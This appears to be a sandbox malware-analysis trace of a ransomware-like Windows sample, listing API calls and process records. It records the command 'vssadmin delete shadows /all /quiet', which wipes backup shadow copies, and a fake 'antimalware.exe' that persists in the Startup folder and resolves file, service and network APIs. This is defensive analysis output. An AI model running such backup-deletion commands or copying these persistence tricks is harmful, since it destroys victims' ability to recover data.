	[0062.499] GetStartupInfoW (in: lpStartupInfo=0xc2d1b0f340 | out: lpStartupInfo=0xc2d1b0f340*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0062.500] GetProcessHeap () returned 0x286dddf0000
	[0062.500] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x20) returned 0x286dddf1850
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0062.500] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0062.500] GetProcessHeap () returned 0x286dddf0000
	[0062.500] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf1850) returned 1
	[0062.500] GetProcessHeap () returned 0x286dddf0000
	[0062.500] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x12) returned 0x286dddf6e70
	[0062.501] _get_osfhandle (_FileHandle=1) returned 0x254
	[0062.501] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0062.501] _get_osfhandle (_FileHandle=0) returned 0x248
	[0062.501] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0062.501] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xc2d1b0f2d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc2d1b0f2a8 | out: lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessInformation=0xc2d1b0f2a8*(hProcess=0x94, hThread=0x98, dwProcessId=0xf70, dwThreadId=0xd9c)) returned 1
	[0062.876] CloseHandle (hObject=0x98) returned 1
	[0062.876] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0062.876] GetProcessHeap () returned 0x286dddf0000
	[0062.876] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dde0a020) returned 1
	[0062.876] GetEnvironmentStringsW () returned 0x286dde09520*
	[0062.876] GetProcessHeap () returned 0x286dddf0000
	[0062.876] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xaf2) returned 0x286dde0a020
	[0062.876] FreeEnvironmentStringsA (penv="=") returned 1
	[0062.876] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xc2d1b0e7a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xc2d1b0e7a8, ReturnLength=0x0) returned 0x0
	[0062.876] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0x9048490000, lpBuffer=0xc2d1b0e7e0, nSize=0x7a0, lpNumberOfBytesRead=0xc2d1b0e7a0 | out: lpBuffer=0xc2d1b0e7e0*, lpNumberOfBytesRead=0xc2d1b0e7a0*=0x7a0) returned 1
	[0062.877] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) 

Thread:
	id = 24
	os_tid = 0xda8


Thread:
	id = 28
	os_tid = 0xf8c


Process:
	id = "3"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x4fda000"
	os_pid = "0xd34"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0xe0"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 19
	os_tid = 0xd38


Thread:
	id = 20
	os_tid = 0xd4c


Thread:
	id = 21
	os_tid = 0xd1c


Thread:
	id = 22
	os_tid = 0xd14


Thread:
	id = 23
	os_tid = 0xa60


Process:
	id = "4"
	image_name = "mode.com"
	filename = "c:\\windows\\system32\\mode.com"
	page_root = "0xfb31000"
	os_pid = "0xeb4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0xe0"
	cmd_line = "mode  con cp select=1251"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 25
	os_tid = 0x15c


Thread:
	id = 26
	os_tid = 0x3a8


Process:
	id = "5"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x6e169000"
	os_pid = "0xf70"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0xe0"
	cmd_line = "vssadmin  delete shadows /all /quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 27
	os_tid = 0xd9c


Thread:
	id = 29
	os_tid = 0x548


Process:
	id = "6"
	image_name = "cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"
	filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"
	page_root = "0x55680000"
	os_pid = "0xdd4"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011d1e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 30
	os_tid = 0xdd8

	[0129.406] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x763a0000
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="GetProcAddress") returned 0x763b51b0
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="GetModuleHandleW") returned 0x763b50d0
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="FindNextFileW") returned 0x7640ee40
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="FindClose") returned 0x7640ed70
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="MoveFileW") returned 0x763ee500
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="GetFileSizeEx") returned 0x7640ef40
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="GetModuleFileNameW") returned 0x763b5090
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="GetFileAttributesW") returned 0x7640ef10
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="ExitProcess") returned 0x763b3cb0
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="GetCommandLineW") returned 0x763b4cc0
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="GetComputerNameW") returned 0x763e32c0
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="GetComputerNameA") returned 0x763e3780
	[0129.406] GetProcAddress (hModule=0x763a0000, lpProcName="CreateMutexW") returned 0x7640eb70
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="lstrlenW") returned 0x763b6c70
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="lstrlenA") returned 0x763b6c50
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="GetCurrentProcess") returned 0x7640ea10
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="WaitForSingleObject") returned 0x7640eca0
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="GetLogicalDrives") returned 0x763b0d20
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="GetTickCount") returned 0x7640dd50
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="DeleteFileW") returned 0x7640ed40
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="WideCharToMultiByte") returned 0x763b6b10
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7640ebb0
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="Sleep") returned 0x763b6760
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="LeaveCriticalSection") returned 0x7763b250
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="ReadFile") returned 0x7640f090
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="CreateFileW") returned 0x7640ed10
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="OpenMutexW") returned 0x7640ebf0
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="EnterCriticalSection") returned 0x7763b2d0
	[0129.407] GetProcAddress (hModule=0x763a0000, lpProcName="WaitForMultipleObjects") returned 0x7640ec80
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="lstrcmpiW") returned 0x763b6bf0
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="lstrcmpiA") returned 0x763b6bd0
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="DeleteCriticalSection") returned 0x7761fb90
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="ReleaseMutex") returned 0x7640ec20
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="CloseHandle") returned 0x7640eab0
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="GetVersion") returned 0x763b56c0
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="CreateThread") returned 0x763b46b0
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="ExpandEnvironmentStringsW") returned 0x763b4a40
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="QueryPerformanceCounter") returned 0x763b5da0
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="QueryPerformanceFrequency") returned 0x763b5dc0
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="GetCurrentProcessId") returned 0x7640ea20
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="SetFileAttributesW") returned 0x7640f100
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="GetVolumeInformationW") returned 0x7640f020
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="WriteFile") returned 0x7640f180
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="SetFilePointerEx") returned 0x7640f130
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="SetEndOfFile") returned 0x7640f0e0
	[0129.408] GetProcAddress (hModule=0x763a0000, lpProcName="FindFirstFileW") returned 0x7640edf0
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="GetProcessHeap") returned 0x763b51f0
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="HeapReAlloc") returned 0x7762f630
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="HeapAlloc") returned 0x77632dc0
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="HeapFree") returned 0x763b57f0
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="CreatePipe") returned 0x763b4590
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="SetHandleInformation") returned 0x7640eae0
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="CreateProcessW") returned 0x763b4610
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="CompareStringW") returned 0x763b4430
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="CompareStringA") returned 0x763b4410
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="OpenProcess") returned 0x763b5cc0
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="TerminateProcess") returned 0x763b67e0
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="GetSystemTime") returned 0x763b54e0
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="SystemTimeToFileTime") returned 0x763b67a0
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="GetLastError") returned 0x763b5010
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="CreateToolhelp32Snapshot") returned 0x763eedc0
	[0129.409] GetProcAddress (hModule=0x763a0000, lpProcName="Process32NextW") returned 0x763ef8f0
	[0129.410] GetProcAddress (hModule=0x763a0000, lpProcName="Process32FirstW") returned 0x763ef750
	[0129.410] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x748c0000
	[0129.879] GetProcAddress (hModule=0x748c0000, lpProcName="RegOpenKeyExW") returned 0x748de580
	[0129.879] GetProcAddress (hModule=0x748c0000, lpProcName="RegQueryValueExW") returned 0x748de5a0
	[0129.879] GetProcAddress (hModule=0x748c0000, lpProcName="RegSetValueExW") returned 0x748df530
	[0129.880] GetProcAddress (hModule=0x748c0000, lpProcName="RegCloseKey") returned 0x748ded60
	[0129.880] GetProcAddress (hModule=0x748c0000, lpProcName="OpenProcessToken") returned 0x748defb0
	[0129.880] GetProcAddress (hModule=0x748c0000, lpProcName="GetTokenInformation") returned 0x748dee90
	[0129.880] GetProcAddress (hModule=0x748c0000, lpProcName="OpenSCManagerW") returned 0x748e0540
	[0129.880] GetProcAddress (hModule=0x748c0000, lpProcName="OpenServiceW") returned 0x748dfa20
	[0129.880] GetProcAddress (hModule=0x748c0000, lpProcName="CloseServiceHandle") returned 0x748dfc00
	[0129.880] GetProcAddress (hModule=0x748c0000, lpProcName="ControlService") returned 0x748f26d0
	[0129.880] GetProcAddress (hModule=0x748c0000, lpProcName="QueryServiceStatus") returned 0x748e2380
	[0129.880] GetProcAddress (hModule=0x748c0000, lpProcName="EnumDependentServicesW") returned 0x748f2f70
	[0129.880] GetProcAddress (hModule=0x748c0000, lpProcName="EnumServicesStatusExW") returned 0x748dfc80
	[0129.880] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76260000
	[0130.558] GetProcAddress (hModule=0x76260000, lpProcName="SystemParametersInfoW") returned 0x7628f210
	[0130.558] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x74dc0000
	[0131.546] GetProcAddress (hModule=0x74dc0000, lpProcName="ShellExecuteExW") returned 0x74f24730
	[0131.546] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x775f0000
	[0131.547] GetProcAddress (hModule=0x775f0000, lpProcName="NtQuerySystemInformation") returned 0x77662070
	[0131.547] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73ff0000
	[0131.562] GetProcAddress (hModule=0x73ff0000, lpProcName="WNetCloseEnum") returned 0x73ff2640
	[0131.562] GetProcAddress (hModule=0x73ff0000, lpProcName="WNetOpenEnumW") returned 0x73ff2790
	[0131.562] GetProcAddress (hModule=0x73ff0000, lpProcName="WNetEnumResourceW") returned 0x73ff2410
	[0131.562] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x74a00000
	[0131.573] GetProcAddress (hModule=0x74a00000, lpProcName="WSAStartup") returned 0x74a05b40
	[0131.573] GetProcAddress (hModule=0x74a00000, lpProcName="socket") returned 0x74a14510
	[0131.574] GetProcAddress (hModule=0x74a00000, lpProcName="send") returned 0x74a05030
	[0131.574] GetProcAddress (hModule=0x74a00000, lpProcName="recv") returned 0x74a10c50
	[0131.574] GetProcAddress (hModule=0x74a00000, lpProcName="connect") returned 0x74a05410
	[0131.574] GetProcAddress (hModule=0x74a00000, lpProcName="closesocket") returned 0x74a10910
	[0131.574] GetProcAddress (hModule=0x74a00000, lpProcName="gethostbyname") returned 0x74a36cb0
	[0131.574] GetProcAddress (hModule=0x74a00000, lpProcName="inet_addr") returned 0x74a19160
	[0131.574] GetProcAddress (hModule=0x74a00000, lpProcName="ntohl") returned 0x74a049d0
	[0131.575] GetProcAddress (hModule=0x74a00000, lpProcName="htonl") returned 0x74a049d0
	[0131.575] GetProcAddress (hModule=0x74a00000, lpProcName="htons") returned 0x74a18ff0
	[0131.575] GetProcessHeap () returned 0x4f0000
	[0131.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x4fb228
	[0131.575] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=5866017004) returned 1
	[0131.575] GetTickCount () returned 0xe501
	[0131.575] GetCurrentProcessId () returned 0xdd4
	[0131.578] GetTickCount () returned 0xe501
	[0131.578] GetTickCount () returned 0xe501
	[0131.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x4fb2a0
	[0131.578] GetVersion () returned 0x23f00206
	[0131.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x5070a0
	[0131.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x508478
	[0131.578] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x508478, Size=0x20) returned 0x4fb340
	[0131.578] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4fb340, Size=0x40) returned 0x507bb8
	[0131.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x50d8e8
	[0131.579] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_LBGLWIA") returned 0x0
	[0131.579] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_LBGLWIA") returned 0x1ec
	[0131.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5070a0 | out: hHeap=0x4f0000) returned 1
	[0131.579] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0131.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507bb8 | out: hHeap=0x4f0000) returned 1
	[0131.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x5070a0
	[0131.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x508478
	[0131.579] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x508478, Size=0x20) returned 0x4fb340
	[0131.579] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4fb340, Size=0x40) returned 0x507c48
	[0131.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x51d8f0
	[0131.580] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_LBGLWIU") returned 0x0
	[0131.580] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_LBGLWIU") returned 0x1f0
	[0131.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5070a0 | out: hHeap=0x4f0000) returned 1
	[0131.580] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0131.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507c48 | out: hHeap=0x4f0000) returned 1
	[0131.580] GetVersion () returned 0x23f00206
	[0131.580] GetCurrentProcess () returned 0xffffffff
	[0131.580] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0131.580] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0131.580] CloseHandle (hObject=0x1f4) returned 1
	[0131.580] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0131.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x5063a0
	[0131.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x508478
	[0131.581] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x508478, Size=0x20) returned 0x4fb340
	[0131.581] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4fb340, Size=0x40) returned 0x507d20
	[0131.581] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507d20, Size=0x80) returned 0x506f20
	[0131.581] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506f20, Size=0x100) returned 0x508180
	[0131.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x508da0
	[0131.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5070a0
	[0131.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5070b0
	[0131.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x507160
	[0131.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x508478
	[0131.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5070c0
	[0131.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5085b0
	[0131.581] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5070c0, Size=0x8) returned 0x5070d0
	[0131.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5086a0
	[0131.581] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5070d0, Size=0x10) returned 0x508490
	[0131.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5084a8
	[0131.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x508520
	[0131.582] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x508490, Size=0x20) returned 0x4fb340
	[0131.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x508490
	[0131.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x508538
	[0131.582] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5070a0, Size=0x8) returned 0x507110
	[0131.582] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5070b0, Size=0x8) returned 0x5070d0
	[0131.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5070a0
	[0131.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x508550
	[0131.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x507100
	[0131.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x508598
